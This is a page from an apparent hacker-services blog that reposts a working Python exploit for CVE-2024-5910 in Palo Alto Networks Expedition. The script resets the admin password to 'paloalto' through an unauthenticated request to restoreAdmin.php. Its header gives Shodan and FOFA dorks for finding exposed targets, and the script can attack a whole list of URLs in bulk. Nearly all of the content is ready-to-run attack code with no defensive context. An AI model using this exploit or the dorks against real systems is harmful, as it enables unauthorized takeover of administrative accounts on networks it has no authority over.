Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86396380

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover
# Shodan Dork: html:"expedition project"                                                      #     
# FOFA Dork: "expedition project" && icon_hash="1499876150"                                   #
# Exploit Author: ByteHunter                                                                  #
# Email: 0xByteHunter@proton.me                                                               #
# Vulnerable Versions: 1.2 < 1.2.92                                                           #
# Tested on: 1.2.90.1 & 1.2.75                                                                #
# CVE : CVE-2024-5910                                                                         #                             
############################                                                                   #  
################################################################################################ 

import requests
import argparse
import warnings

from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter("ignore", InsecureRequestWarning)

ENDPOINT = '/OS/startup/restore/restoreAdmin.php'

def send_request(base_url):
    url = f"{base_url}{ENDPOINT}"
    print(f"Testing URL: {url}")  
    try:
        response = requests.get(url, verify=False, timeout=7) 
        if response.status_code == 200:
            print("✓ Admin password restored to: 'paloalto'\n")
            print("✓ admin panel is now accessable via ==> admin:paloalto creds")
        else:
            print(f"Request failed with status code: {response.status_code}\n")
    except requests.exceptions.RequestException as e:
        print(f"Error sending request to {url}") #{e}

def main():
    parser = argparse.ArgumentParser(description='Palo Alto Expedition - Admin Account Password Reset PoC')
    parser.add_argument('-u', '--url', type=str, help='single target URL')
    parser.add_argument('-l', '--list', type=str, help='URL target list')

    args = parser.parse_args()

    if args.url:
        send_request(args.url)
    elif args.list:
        try:
            with open(args.list, 'r') as file:
                urls = file.readlines()
                for base_url in urls:
                    send_request(base_url.strip())
        except FileNotFoundError:
            print(f"File not found: {args.list}")
    else:
        print("I need a URL address with -u or a URL file list with -l.")

if __name__ == '__main__':
    main()